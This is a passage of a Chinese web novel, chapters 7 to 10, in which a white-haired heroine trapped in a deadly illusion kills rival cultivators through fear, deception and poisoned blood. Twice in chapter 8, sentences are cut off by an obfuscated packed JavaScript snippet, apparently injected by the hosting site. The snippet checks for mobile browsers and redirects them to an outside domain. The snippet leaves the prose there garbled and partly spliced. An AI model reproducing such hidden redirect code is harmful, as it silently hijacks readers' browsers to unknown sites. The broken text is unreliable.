《傀儡他是黑心莲》 7. 第 7 章 荒芜而干涸的河床之上,纵横交错的沟壑随处可见,里面散落着不知哪个时代的钱币与货物。 一艘巨大的楼船斜插在地,半截船身没入了礁石堆中,表面布满了沉积海底多年而附着的淤泥。 几只覆满风沙的残破木箱之后,林青萝缓缓睁开了眼睛,紫衣与白发满是灰尘。 “江云烬......” 林青萝尚未完全清醒,只是下意识呼喊。 “江云烬?” “韩未得!” 空有余音回荡在孤独之地。 林青萝手掌撑地的动作牵扯出一阵钻心的疼,身上好些地方都摔出了伤,她发出一声冷嘶,扶着木箱缓缓起身,快速观察四周。 枯涸的海底? 奇怪,这里不是横槊古殿? 不对。林青萝摇摇头,让自己在古怪的环境中快速冷静下来。 她的确是被那股巨力打进了宫殿,意识虽然模糊,但没有真正昏迷过去,若是有人将她转移到了这里,她很容易受到惊吓,一定早就清醒过来了。 所以这里的确就是古殿内部? 林青萝不敢轻举妄动,缓步往边缘走,这里与外面的巨石墙体带来的感觉截然不同,好像是...... 突兀的拼凑。 林青萝立刻反应过来。 对了,这里本就是幻境,要构造如此庞大而真实的幻境,并且完整还原出其中的一砖一瓦,绝不容易,所以构造者就用自己容易上手的环境拼拼凑凑了一个。 以横槊古殿的外表吸引外面的人进来,不安好心。林青萝心中不祥的预感越来越强烈。 不知不觉,她已经走到了这片区域的边缘,一道接天连地的半透明屏障拦住了她的前路,散发出淡黄的光芒,稍微隔得远一点就根本看不见。 林青萝捡起一枚石子扔向光幕,石子瞬间被完全粉碎,纷飞的碎屑被一阵不知从何处吹来的风拂到了她脸上,细腻得几乎感受不到它的颗粒感。 她连忙后退了一步。 这道光幕仿佛吸走了外界的所有光影,她无法透过它看见外面是什么,只好往左右寻找它的来源。 是两根巨大的石柱,陌生的线条遍布其上。 在这片空寂的海底荒土之上,这样的石柱不止两三根,它们之间散发出的光芒连成了一面面墙,将此地完全包围了起来。 那些看似杂乱无章的线条冥冥中仿佛散发着某种法则的力量,林青萝只是凡人,直视了一会就头晕目眩,双眼刺痛无比。 她踉跄了几步,往后退去,后背突然撞到了同样坚硬的,带着点温热的东西。 林青萝脸色骤变。 小巧的匕首从袖中滑落,被林青萝紧握在手里,她极快地转身朝面前横挥而出,寒亮的锋刃在昏暗中划出一道半月弧形,将几根像是从刺藤上拔下来的长刺扫落在地。 一道娇小敏捷的绿衣身影刚刚从半空中翻滚而下,单膝跪地卸去力道的瞬间,仰头朝她看来,右手的指缝间还闪烁着几根针尖般的寒光。 大致看清彼此面容的瞬间,二人同时一愣。 “是你啊。” 绿衣少女立刻收敛了本能的杀意,起身朝她主动走了过来,笑意纯澈无瑕,“我叫阿若,你叫什么名字?好奇怪啊,我醒来之后转悠了好远,只能听到很远的地方有脚步声,可是一个人都没见到。喔,现在看到你啦。” 林青萝脑海中思绪飞转:“青萝。” 她不动声色地看着阿若,猜想对方应该是有意要跟她结伴,一起找出路的。 这样也好,一起想办法总好过她一个人冥思苦想,也算借力。 经阿若一提醒,林青萝想起自己似乎的确听见了脚步声,那种渺远而细微的声音,容易让人当做幻觉而忽略。 林青萝思索道:“这么说来,进了古殿的人都被分散到不同的地方了。” 阿若点点头,提议:“要不咱们一起去四周看看有没有出去的办法,若是能遇上其他人,相互也有个照应。这地方古怪得很,我才不信有什么秘宝。” 林青萝还没来得及开口答应,光幕之中突然扑出一片密集的光点,寒亮如针,朝着离它最近的阿若纷洒而下。 阿若脸色急变,右侧锁骨处的刺青线条突然活了过来,在皮肤上疯狂游走生长,化作细长而幽绿的刺藤从她身上飙射而出。 数十根刺藤在空中狂舞,布满了密密麻麻的尖刺,呼啸着扫向冲她劈头盖脸落下的寒芒。 「农」之生机源源不断地从阿若身上喷涌而出,化作刺藤散发出的凶悍力道,此刻却不仅没能打散那些光点,甚至连阻挡它们都做不到。 阿若眼中的冷酷化作惊诧:“这是什么东西?” 满天光点对刺藤转瞬交织而成的大网视若无睹,朝着下方的阿若笔直地坠落下来。 林青萝见此,骤然想起不久前才威胁过她的那什么古殿之灵。 “该死。”阿若被逼近眼前的满天寒芒照耀,脑子都懵了一瞬,随即朝林青萝狂奔而来,“青萝救我!” 林青萝毫不犹豫向前抓住了阿若,她拉着阿若把人往身前一带,下定决心般抬起手掌的瞬间,突然闻到了一股幽香而冰凉的气味朝自己飘来。 为刃的一位姐姐教她学药理毒经的记忆浮现在脑海中。 “这种粉末呢叫做封髓散,可以把一个人的身体变得像青玄铁一样坚硬。” “但这个人的意识也会因它而变僵,只知道紧跟着离自己最近的那个人移动。” “所以这种药粉是「农」和「医」都爱用的小玩意,拉人挡明枪暗箭的时候最合适了。” “青萝小姐,若是出门在外,定要时刻留意这些最不起眼的飞尘微末。人心啊,比你刚刚玩的匕首锋利。” 熟悉的声音回响在耳畔,清晰如昨,林青萝眼眶一红。 她回过神,盯着阿若那张除了惊恐与苍白,再看不出任何一丝心虚的脸庞,不动声色掩下心中的愤怒。 是啊,一个入了流派、掌控得了奇能异术的人,怎会向她求救,不过是想为自己多准备一件防身的武器罢了。 想挑软柿子捏啊? 林青萝当即假借被脚下踩到的木箱残骸绊倒,尖叫着仰身往后倒去,双手紧紧地把阿若抱在自己怀里,跌倒在地的瞬间还顺便抱着人往一旁滚了半圈。 不仅避开了封髓散飘来的路径,还让阿若挡下了飞散到四周的粉末。 林青萝飞快爬起身来,将那些胡乱缠绕在阿若身上的刺藤小心拨开,皱眉握住她的双肩,十分担忧地左看右看,一声接一声的抱歉。 “阿若?你还好吗?对不起是我太没用了,幸好没让你磕伤。” 阿若脸色一阵青白。 要不是她自己身上有封髓散的解药,早就变成石头了。 没用的废物,普通人就是普通人,就连拉一下人都帮倒忙! 阿若很快压下不满的情绪,蔫头耷脑垂落一地的刺藤飞快回到了锁骨的刺青之中,她扬起甜甜的笑脸,牵着林青萝站起身来:“没事的,我也没有受伤呀。” 她余光不经意瞟过半空,匪夷所思:“哎?青萝你快看,它们竟然变成了字?” 林青萝并不惊讶,她摔倒的那个角度,其实正好看到那些针尖般闪烁的寒芒并未刺下,而是浮在了半空之中,凝聚成了字,只是距离有些远,看不太真切。 她与阿若走到了那几行字下,目光一沉。 “七伤之柱,唯情可破。” “每打破一柱,就能得到镇殿密宝的一份力量。” “七柱全破,二人可离。” 阿若一字不漏地念完,眉头蹙得越发紧了:“破柱才能离开啊......可这些柱子怎么破?用打肯定是不行的,我刚醒来的时候就已经试过了。” “或许不是拼力量。”林青萝思索道。 既然最终只允许两个人离开,那就必不可能给「兵」或「农」当中的那些体术力量超凡卓绝之人以蛮力打破柱子的机会。 七情七伤。林青萝心中默念,人之本源情感,不过喜、怒、哀、惧、爱、恶、欲七种。 难道...... 她好像想到了破柱的办法了。 还差个人验证。 林青萝盯着愁眉不展的阿若,唇角勾起若有似无的弧度。 她别开目光,仰头看了看远处三层楼高的破旧楼船,迈步朝它走去,轻声开口: “这附近我都看过了,没什么玄机,我们去船上看看吧。” . 穿过船舱缝隙的风声不知被何物撕扯放大,化作尖利悠长的哨声,徘徊在残破船体之间。 林青萝右手 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阿若见她静静地站在原地,像是被吓傻了一般,不由得皱起了眉,心想,没有力量的凡人便是如此,面对未知的危险唯有害怕无措,除了在危险之际给人垫背,一无是处。 阿若打起精神,在脑海中搜寻着有用的信息,最后往长廊尽头边走边看:“青萝,我好像知道这里是什么地方了,万镜长廊,一种幻象罢了,我们其实就在甲板上。那些镜子会放大心中的情绪,让人迷失,千万别盯着它们看太久了,快跟我走吧。” 身后却没有任何的声音回应她。 阿若奇怪地嗯了一声,与此同时,回荡在耳边的风声似乎停顿了下来,像是某种恐怖之物即将出现之前,那一阵预警般的死寂。 阿若瞬间提起警觉,转身回看。 紫衣少女不知何时已经无声无息地消失了。 镜光折射的无尽长廊中空空荡荡,只剩下她一人的影子在无数面镜子里折叠扭曲。 “青萝?” 她试探着张口。 一声仿佛来自恶鬼深渊的凄厉惨笑,风一般吹过她耳畔。 . 片刻之前。 林青萝找到风声是从哪来的了。 万镜长廊虽是幻境,却让身处其中的人看不出破绽,一景一物都真实可触,林青萝费力地把自己的衣袖从两面镜子的夹缝里扯了出来,仰头往上看。 在几面镜子与墙角围成的这个夹角之中,外面的风穿过墙上的破洞,经过旁边的一只灵光闪烁的雪鹰石雕时,被放大成了尖利的啸声。 林青萝挽起衣袖,将裙摆往腿上撩起,卷成一团打了个结,方便自己活动,然后攀着凹凸不平的墙面,往那只雪鹰石雕爬去。 石雕的位置并不高,可是浑身的疼痛却让她频频从墙上摔回了原地,林青萝咬紧牙关往上爬,豆大的汗珠很快就从苍白的脸颊滚落了下来。 她抬起右掌,费力地伸向雪鹰石雕。 黑色的漩涡如花如渊,出现在她掌心里,缓缓旋转。 林青萝并不知道它是什么,从那个被血色花蔓包围、在星光中散灭又重聚的梦境中醒来之后,它就出现了。 不是没因此而惶恐过。 她身上本就已有太多令人费解,甚至会退避三舍的秘密,譬如与生俱来的古怪毒血,让林家人暗中叹息的一头白发,冥冥之中似乎都预示着她的不幸与不详。 也想过问问江云烬或者韩未得,但她并未踏命梯,所以它不太可能属于任何流派,深渊中散发出的阴邪气息也提醒着她,它或许是不被常人接纳的邪门之物,绝不可能轻易暴露在人前。 林青萝稳住心神,不再多想。 她的手掌在雪鹰石雕一寸之遥的距离停下,黑色漩涡里,似乎有一缕血色的风迫不及待地吹了出来,被它吹拂过的石雕竟然剧烈地摇晃起来,好似产生了恐惧。 紧接着,漩涡下方不知通往何处的深渊之中,数以万计的亡魂发出了撕裂人心的尖啸,数不清的笑声、惨叫、诅咒与哭嚎交织成了一片,通过漩涡喷涌而出。 这一阵阵摧毁人心的恐怖之声被雪鹰石雕瞬间放大,回荡在整条万镜长廊之中,无孔不入。 带着血色的大风涌出深渊,万镜长廊染上了一片压抑猩红的颜色,像是被一座幽冥炼狱接管。 数息之后,长廊上传来一声阿若的尖叫。 8. 第 8 章 林青萝手掌轻轻抚摸着战栗的雪鹰石雕,来自掌心漩涡中的亡魂哭嚎声被它无限放大。 那双宁静温柔的笑眼中带着一丝期待。 这一份恐怖的力量,究竟能为她带来多大的惊喜呢? 林青萝转头看向缝隙外的万镜长廊。 鬼哭声阴森而凄厉,此起彼伏,回荡在长廊间。 阿若无法克制心中急速飙升的恐惧。 她自小一人走南闯北,再血腥恐怖的地方也孤身走过,唯独没有领教过今日让她崩溃的恐惧。 人族诞生至今的漫长岁月中,那些由强者之斗而引发的焚天毁地的战争,因为欲望与暴力而生的屠杀和血案,无法抗拒、无人能承担后果的灾变,甚至是五百年前那两场几乎令人族全军覆灭的大战,死于其中的无数亡灵似乎全都朝她扑来了。 它们哭喊、绝望,它们质问、愤怒。 为何死去的不是你? 它们被困在暗无天日的深渊,终日与扭曲的情绪为伴,永不解脱。 而这些浓烈阴暗的情绪此刻全都充斥在了这条长廊之中,要将她拉入深渊,变成万千亡魂中的一个。 阿若的理智摇摇欲坠,半边身子直接疯长成了植物,长满尖刺的无数刺藤在万镜长廊中狂乱挥舞,掠出狰狞的残影。 “是谁在装神弄鬼?谁?!给我滚出来!” 她尖叫着四处搜寻,刺藤呼啸着击碎了一面面镜子,无数飞溅的碎片在长廊中高高扬起,闪烁着惨白冰冷的光芒,下方绿衣少女的身影在镜子碎片中状若癫狂,碎成千万个。 阿若从漫天飞洒溅落的碎片中看见了无数个扭曲破碎的自己,宛若那些挣扎在深渊之中,发出凄厉哭嚎的亡灵,彻底崩溃。 她分不清这里是哪了。 暗域?万镜长廊?还是......那个充斥着绝望与恐惧的未知深渊? 失控的刺藤将长廊轰击得裂痕遍地,许多地方甚至已经破开了大洞,最后不分敌我地朝着神智崩溃的主人猛刺而去。 阿若眼中的光彩像是被人夺去,又像是主动沉入了深渊,整个人呆在原地,浑身被刺藤捅出了血洞。 一道盛开着漆黑花朵的花蔓残影出现在了角落那面破碎的镜子里。 猩红流动,很快占据了整块镜面,似乎在朝她蠕动而来。 她怔怔地盯着它,血丝狰狞的杏眼里竟然浮现出一抹虔诚与兴奋。 “我听见了深渊的呼唤。” 阿若喃喃自语。 “我回来了。” 她突然张大了嘴巴,飞快地抓起一截刺藤刺入自己嘴里,直接刺穿了脖颈。 密集的尖刺堵死了阿若喉咙的声音,绿衣少女带着诡异的微笑无声倒在了地上,浑身是血。 满地镜子碎片变得虚幻透明,逐渐化作一缕灵力消散,露出原本腐朽不堪的甲板。 陈旧的木板与飞舞在光束下的尘埃散发出的气味回到了这片空间之中,让这里的时空充满了真实感。 片刻之后,林青萝踩着镜子碎片走了出来,双眼弯弯,眸光宁静而温婉,一点也不像一个刚刚杀了人的刽子手,淡紫衣裙被风吹动,投落在地上的影子好似深渊中的鬼魅般狂舞。 她垂下眼帘,注视着阿若尸体,一双目光无比冷漠。 掌心的黑色漩涡没有她在梦中所见的噬月吞天的本事,但没关系。 她无法正面杀死一个二境,但借助布满诡异镜子的环境,以及手中这份恐怖的力量来吓死一个落单之人,就这么容易啊。 与此同时,楼船之外的海底边缘,传来轻微的摇晃。 有一根七伤柱已经破了。 林青萝在阿若身旁蹲下,轻声自语道:“看来我猜的没错,想要破柱,不仅要与对应的情绪产生共鸣,还要带着这种情绪去死才行。” 她想了一会,还是伸手去解阿若身上的钱袋。 没办法,她的确缺钱。 一路上的吃穿住行全都要花钱,枫峡那里是什么情况也不知道,她还养着一只食量很大的傀儡。 想到不知所踪的江云烬,林青萝有些紧张。 江云烬实力不凡,应该不会出事的,她收拾完这边就可以去找找他。林青萝心想。 一抹淡黄的光芒在坍塌的石柱中凝结,穿过海底沉沙与破旧的船体,从甲板上缓缓渗出,浮空,没入了林青萝的眉心。 随着这一抹光芒消失在林青萝眉心,“幽明眼”三个字浮现在她脑海中。 知幽通明,看破隐秘与执念。 “这就是打破了一根柱子的奖励么?” 林青萝摸了摸自己的眼睛,接着伸手拨开挡在阿若脸上的凌乱发丝,凝视着她脸上定格的喜悦与向往,半晌,轻轻咦了一声。 “喜、怒、哀、惧、爱、恶、欲。” “怎么会是喜柱......” 按照计划,阿若应该是死于“惧”才对,她死前有什么值得高兴和憧憬的? 林青萝想不明白,看了眼从掌心消失的漩涡,眉头微拧。 距离甲板不远处的船舱里,恰好传来了一阵脚步声。 不止有一个人。 林青萝快速起身,巨大的楼船却在此时微微摇晃了起来,像是被水流拍动。 林青萝神色一变,转头看向楼船之外。 原本干涸的海底不知何时竟然已经灌注满了漆黑的水流,汹涌的黑水像是从地底深处喷涌了出来,水面节节攀升,很快就要漫过甲板了。 而那阵脚步声也越来越近,伴随着许多人嘈杂的争执,从船舱里往甲板上来了。 一个着急又年轻的声音说道:“我刚才好像听到了阿若的声音,她说什么要去见谁来着。” “海水灌上来了,别管什么阿若了,快走吧!” “那不行!我答应了阿若要保护她的,我都听到她的声音了,岂能抛下她不管?” “她二境,你一境,到底谁保护谁啊?还是快去上面一层吧,别耽误大家时间。” “要走你们先走。阿若?阿若!是你在甲板吗?” 林青萝听着那个焦急的声音,还大致记得说话人的模样,是一个活跃又大胆的少年。 之前众人围坐在篝火附近休息,他与其他人一样,喜欢凑在阿若身边说话,澄澈黑亮的眼睛盯着她,一直笑着。 麻烦了。林青萝心想。 若是让那个少年知道自己杀了阿若,他大约会当场就杀了自己报仇。 毕竟这幻境之中,最后只能活两个人。 林青萝蹙眉看向脚下的尸体,思索片刻,唇角微扬。 . 秦樾听着队伍里那几个年轻人的争执声,握刀的力道不由得加重了几分,蹙着眉头闭了一下眼,隐隐有些不耐烦。 先是被强行拖入了幻境之中,又被什么七伤柱囚在这里当猴耍,现在海水也涨上来了,这几个不知天高地厚的蠢货还在这里浪费时间。 他稳住情绪,看向执意要去找什么阿若的少年,一向冷肃的嗓音有意放得柔和了些许。 “小许,海水很快就要漫上来了,甲板上的情况我们都不清楚,如果贸然出去,又遇到陷阱,大家都会有危险,毕竟所有人都已经被刚才的万箭机关伤得不轻了。” “我也不赞同让你一个人去甲板,黑水如果涨上来,你保护不了自己。” 闻言,小许扭头看了看众人身上的伤口,固执的眼神暗淡了下来,微微闪烁。 秦樾将他的表情看在眼底,接着说:“这样吧,我先带大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦樾脸色一沉,提刀追了出去。 其余的人不知所措地互相对视了一眼,全都神色复杂地追向了那道拿刀的背影。 他们已经在万箭机关中丢掉了半条命,将他们剩下半条命捡回来的秦樾已经成了主心骨,若没有他在,就算自个儿上了楼,也未必见得到生路。 “阿若?阿若?” 小许边跑边喊,一只粗粝的大手突然握住了他的肩膀,随手就将他拖到了身后。 秦樾示意他闭上大喊大叫的嘴巴和毫无用处的道谢,面色冷峻地走到了甲板上,两道剑眉忽然紧拧。 甲板上满目疮痍。 有什么疯狂的东西带着恐怖的力道攻击过这里,将地面轰出了蛛网般密集的裂痕,有些地方甚至塌陷了下去,露出黑漆漆的大洞。 没有阿若。 只有一位紫衣白发少女站在楼船边缘,冷汗涔涔的脸上还残留着劫后余生的惊恐,仿佛就在片刻之前才经历了一场恐怖的折磨。 因为他们乌泱泱一群人的到来,少女似乎误会了什么,被吓坏了,险些掌着船舷直接跳水自尽。 秦樾厉声制止了林青萝:“别跳,我们不是来杀你的。” 他锋利的目光定在林青萝身上,一眼就发现了她是满地狼藉的甲板上最突兀的存在。 她是个没有步入流派的凡人。 小许左顾右盼也没见到人,直接冲到了林青萝面前,抓住她单薄的肩膀摇晃,着急道:“阿若呢?这甲板上没有其他人了吗?” 落入水中的不知名重物砸起浪花滚滚,碎散的水雾随风轻轻洒落在林青萝脸颊,少女的气质在朦胧水雾中变得柔软无害。 她面朝他们这群神色各异的人,狼狈又充满破碎感的脸上滑过一滴泪。 “什么阿若?你们......你们可以救救我吗?” 9. 第 9 章 “你们能救救我吗?” 林青萝任由小许失态地抓住她的肩膀摇晃,惊慌的目光越过他焦灼的脸庞,看向站在后方那群人前面的秦樾。 是那个带着刀坐在人群外的「兵」? 林青萝心中轻咦了一声,这个看起来不合群又不好惹的冷漠刀客,竟然成了带领一群人逃生的主心骨? 她正思索着局势,幽明眼赋予她的力量凝聚在了眼眸中。 林青萝微微一怔。 十四条淡金色的长线清晰浮现在林青萝的视野里,随着大风的吹拂而飘摇,时隐时现。 这是......林青萝心头闪过一个猜测,不由得微微垂下眼帘,掩盖住惊异的情绪。 命线?! 怎么可能…… 林青萝不动声色地观察着这些金色的线条,一条金线从秦樾心脏的位置垂落而下,剩下的十三条则是从其余十三人的心口里生长出来,交汇于秦樾的右手,与他自己的那一条拧成了更为粗壮的一股。 秦樾握刀的右手被这股金线缠绕着,他就好像变成了一个牵风筝的人,手里攥着十三只风筝的去留生死。 「兵」还有这样的术法? 碎散的白发在额前飞舞,林青萝眸光闪烁,飞快判断着什么。 她的目光顺势往上,幽明眼的力量让她看见秦樾颈侧的皮肤微微鼓动着,隐约泛起冷硬的光泽。 突兀而怪异,就好像皮肤之下藏着一大片密集的鳞片正在翕合。 林青萝恍然大悟,原来如此! 为刃的哥哥姐姐曾和她说过,「农」之流派控改风雨,搬山填海,号令鸟兽,掌万物生机,其中的强者甚至可以抽取自身的生机具象为生灵,名为心印。 拥有心印灵的「农」,据说在罹难之时,又恰好身怀六甲,自身的一部分心印力量将有可能附着在胎儿身上,庇护着胎儿在一具冰凉的尸体中继续生长。 算是这位母亲可以为未见面的孩子送出的唯一一份生贺礼。 天下间能窥人命数的流派不止一个,唯有掌控万物生机的「农」可以把人的命线从心脏中抽取出来,悄无声息。 所以秦樾手里攥着的十三根金线,一定就是这些人的命线! 林青萝不由得猜测,秦樾也看穿了打破七伤柱的真正规则。 啊,怎么还有聪明人,真是麻烦。 林青萝沉思的目光微微闪了闪,突然察觉到秦樾鹰隼般锐利的眼神直勾勾地戳在了她身上,让她浑身冰凉,有一种谎言要被拆穿的忐忑。 小许见林青萝半晌没有回应,着急地大叫起来:“你说话呀,她在哪?黑水快要涨上来了,她被留在这里会没命的!” 高涨的水浪拍打着船体,云层中逐渐有雷光闪烁,好似当年冲毁楼船的一场海上风暴即将在此刻重演。 黑水漫上甲板,逐渐浸湿了众人的鞋底。 林青萝定下心神,露出被折磨崩溃的目光,瑟缩着看回近在咫尺的少年:“我不知道什么阿若,这里只有我一个人,不,不是......刚才有什么看不见的东西一直在追着我,每当我以为自己要被它杀死的时候,它又消失不见了,就好像......我是被它关在笼子里供它取乐的宠物。” 小许仰头望向四周,质疑的目光缓缓变化着,最终凶神恶煞地掐住林青萝的脖颈,将她狠狠地推搡在地上。 他咬牙切齿道:“是吗,那它现在怎么不见了?我明明听见了阿若的声音,你把她藏起来了?你、找、死?” “我能藏得了一个二境?” 林青萝苦笑一声,揉了揉被掐红的脖颈,视线掠过疮痍的地面,声音虽轻,却有条不紊,“我从下面登上甲板的时候,这里到处都是镜子,盯着它们看久了,我就突然回到了之前在篝火外的时候,你们所有人都围坐在这周围,紧接着那个东西就出现了,我找遍了你们求救,可每一个你们都是幻象。” 她说话时留意着秦樾的神色,他是这里面的聪明人,最有可能已经发现了这里是一个巨大的幻境,因此她的这番话本就是说给他听的,故意引向「灵」。 只要秦樾信了,应付剩下的人不难。 秦樾低头看了眼被打湿的甲板。 构造这个幻境的人至今没有露面,这种黑水也闻所未闻,竟然能轻而易举地销蚀着他的锐气屏障。 黑水逐渐没过脚踝,鲜血从众人的鞋袜中渗了出来,泅在水里。 秦樾的脸色依旧冷酷镇定,颈侧的鳞片却有些不受控了,对林青萝与小许已经没了多少耐心。 秦樾凌厉的目光盯着林青萝,不打算再在这里耗下去了,拔刀走上前,森然开口:“我不关心你说的那个东西是否存在,既然小许确定听见了阿若的声音,而你一直在这里,就一定见过她。阿若在哪,或者这里到底发生了什么,说,或者去死。” 林青萝着急地推开小许,满脸恳求地走向秦樾,血水顺着她走过的路,拖出一条鱼尾般的红痕。 “我没有骗你们,我没有见过别的人,而且它真的还在这甲板上,水也涨上来了,我......我只是个普通人,我在这里很快就会死的,我们能不能先进船舱里?” 甲板上的人听完便发出了嗤笑声,笑完又朝她摇头叹气:“这个凡人丫头都快被吓死了,秦兄,小许,就算要审,也进去审吧。” 林青萝朝那人露出感激的目光,眼中的轻蔑一闪而过。 太多所谓的强者就是这样,喜欢用鄙夷和嘲弄的目光看待弱者的苦难与挣扎,却又从中获得极大的满足,随后居高临下地伸出手,赏赐般:我来保护你。 秦樾却如一座压迫感十足的石雕,凛然注视着甲板上所有人的一举一动。 说实话,他和周围的人一样,并不觉得眼前这个紫衣少女真有本事把阿若藏起来,一只随手就能捏死的蚂蚁罢了,即便真有些拳脚功夫,是个藏拙的武者,在各流派术法赋予的绝对实力面前,根本不值一提。 但那个姓许的愣头青实在太过固执,一副不在这里问出阿若的下落就绝不罢休的模样。 若是在平时,秦樾早就一刀砍了他这种累赘,可现在手里的这十三根命线不容有失。 云层中闷雷阵阵,一道闪烁的雷光从越积越厚的乌云中轰然劈落,四周的水浪再度高高泼起,塌落在甲板上。 好不容易才被秦樾安抚下去的焦躁情绪,又在众人身上隐隐爆发开了。 秦樾低头看了眼脚下晕开的血色,准备给这个柔柔弱弱朝他走来的少女安一个擅谎的罪名,把她杀了,了结这烦人的闲事。 就在那道凶悍的刀气即将从鞘中震鸣而出的刹那,林青萝像是被她一直解释的什么无形之力狠狠地踢飞了出去,猛然喷出一口鲜血。 她的后背重重地砸在船舷上,双脚在积水的甲板上一滑,整个人向后仰了下去,将要摔下楼船。 “救命啊!它真的还在甲板上,它还在看着我们!” 少女惊慌无助的叫喊声惊醒了怔住的一群人,离她最近的小许立刻做出了反应。 小许飞身上前,一只手抓住了船舷上的木栏杆,另一只手紧紧拽着林青萝。 “你可不能死,你快把阿若的下落告诉我啊!” 他用尽力气将林青萝拖上楼船,顺着这股力道将她向秦樾脚下甩了过去,听着她在秦樾的刀下可怜兮兮的解释着,而周围的人焦灼不安的情绪已经濒临爆发的顶点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811688|175267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小许脱力的双手撑着栏杆大口喘气,耳畔突然听见了一丝嘎吱声。 变故骤生。 早就被匕刃切割过的栏杆因为他的力道而彻底断裂,四散着砸入水中,小许的身体猛然失去支撑,往前扑向了下方的滚滚黑水。 水浪在狂风中冲出海面,像是一只饥饿的猛兽,迫不及待地伸出双臂,想将他卷走。 坠落的那瞬间,小许看清了脚下本就已经塌陷,却被一块裂痕遍布的木板挡住了的大洞。 轰—— 楼船的那一角彻底坍塌,层层浪花扬起,将那坠落入水的少年吞没。 小许惊慌的目光被黑水完全覆没的瞬间,只看见注意力全被林青萝的哀求与解释声吸引的同伴们刚刚回过神来,匪夷所思地看着他。 而林青萝亦扭头朝他看来,湿润而无助的眼睛忽而戏谑地弯起,嘴唇微动: 去见阿若吧。 黑水瞬间吞没了少年,水面晕染出一片猩红。 众人从变故中惊醒:“怎么回事?到底什么东西打到她了?小许怎么又掉下去了?” “那丫头都说了有东西还在这甲板上,非不听!这个鬼地方就是想方设法要命啊,我说咱们别再呆着了!” “秦兄,咱们别管那个什么阿若了,她真要在这儿,听见动静早就吱声了,哪能现在还没个影子。” “就是啊!快走吧!” 秦樾神色冰冷地盯着塌陷的船舱,不知在想什么。 林青萝抬手擦去唇边流淌的血水,心想,小时候为了躲避爹娘安排的功课而练习得炉火纯青的假摔,还真是好用啊。 她无所谓地随着秦樾的视线往塌陷的地方看了眼,猜想秦樾暂时不会杀她了。 属于小许的那根命线,在她眼中就像是萧瑟秋风中的一截快速枯黄的草茎,化作粉屑在风中消散了。 虽不知秦樾到底想干什么,但他手里少了的空位,他大约会找她来替。 果然,秦樾回过头,深深地看了她一眼:“一起走吧。” 林青萝回以惊喜而明媚的笑容。 很好,没有人会再去深究她在他们到来之前,是怎样平静地将阿若的尸体从甲板边缘推了下去。 可,知道了又如何? 反正最后只会剩下两个人。 秦樾抛刀入鞘,转身带着众人往船舱里走,右手突然被人拉住。 他本能地抽开手,恼怒地看向还跪坐在甲板上的紫衣少女。 林青萝却用虔诚而真挚的目光看着他。 她染血的双手再度轻轻握住他的右手,缓缓抬起,垂首用额头碰了碰他的手背。 少女字字恳切,嗓音软和,让人很难再生出脾气:“多谢秦大哥不杀之恩,可惜我身上并无奇兵异宝可作答谢,只能奉上我们家乡最高的礼节,以表无尽感激。” 温热的血水沾染在秦樾手中。 那一抹猩红的毒血没有把人直接毒死的奇效,却在他与那十二人的命线上缓慢地晕染开了,朝着他们心口的方向蔓延。 秦樾冷冷地抽开手,视线在被血水污染的命线上停顿了片刻,带着明显的不悦:“嗯。” 人无论善恶,命线都是最纯澈干净之物,十分容易被外物玷污。 好在手中的命线除了被血染了色,并没有让他察觉到有什么异变,否则他一定杀了这个麻烦的女人。 一群人快步进了船舱,踏上阶梯直奔上层而去。 林青萝不快不慢地跟在他们后面,幽幽盯着一根根命线上不断蔓延的猩红。 她期待地弯起了双眸,眼底溢出愉悦与恶意。 真想看看自己的毒血能将那十三根命线污染到什么程度啊。 10. 第 10 章 楼道内。 木梯发出不堪重负的嘎吱声,林青萝缀在直奔顶楼的人群最后,余光掠向四周的阴影中。 她始终觉得有一双目光在注视自己。 方才在万镜长廊和甲板上,那种被注视的不适感被危机中砰砰的心跳声盖了过去,现在却变得明显起来。 林青萝第一个反应是那个所谓的殿灵在捣鬼,分辨之后,却又不像。 它不带任何感情的注视着她,就只是一道纯粹的目光而已。 这种感觉让她觉得怪异而紧绷,却并不害怕,她甚至还能分出心思去思考自己为什么被抓进这里。 幕后之人总不能只是为了让他们玩一场仅有两人存活的游戏。 船体顶楼厚重的大门被领头的秦樾用刀柄推开,呛鼻的灰尘味在昏暗光线下扑面而来,林青萝捂住口鼻咳嗽了几声,跟随众人进了屋子。 筋疲力尽的人群立刻四散开了,有人就地坐下休息起来,也有人警惕着窗外的风浪。 秦樾看了眼摇曳在空中的命线,握刀坐下,摆弄起了一支银白的木梭。 林青萝环顾左右,风浪声随着大门的关闭,从耳畔完全消失了。 她方才就对这群人的突然出现而感到奇怪,想到那些遥远又模糊的脚步声,看向身边那个仰面躺在大箱子上休息的青年,轻声问道:“刚才我在甲板上的时候,一个真实的人影也没瞧见,你们是从哪里上的船?” 青年掀开眼皮,露出冷倦的目光。 他是奔着横槊秘宝来的,哪知被卷入了这个鬼地方,脸色阴郁,一句话也不愿多说,可林青萝面对他的态度却保持着软和的笑容,奇迹般地为他抚平了一点燥意。 他勉为其难开口:“我们?我们是直接从甲板下层的船舱里走上来的,原本打算直接上楼,哪知小许非要找人。” 林青萝低头看向脚下破损残缺的木板。 她所在的位置是楼船的第三层,却无法透过细小的缝隙看到下面第二层的船舱。 哪怕一点点。 所以刚才在甲板上,明明仅有一层木板相隔,她与这拨人却都没听到彼此的动静,也不奇怪了。 木板隔开的,是不同的幻境空间。 又或者,楼船的每一层并非完全独立,但彼此间的联系很弱。 思索间,林青萝发现那十三条命线全都已经被毒血浸染成了危险的猩红。 林青萝压下微微翘起的唇角,耐心等了一阵,可过了半晌,幽明眼也没在任何人身上看见被剧毒影响的迹象。 林青萝表情中划过一丝失落。 这血竟然毫无作用吗? 她的一颗心沉了下去,底牌交了,处境又变得危险起来。 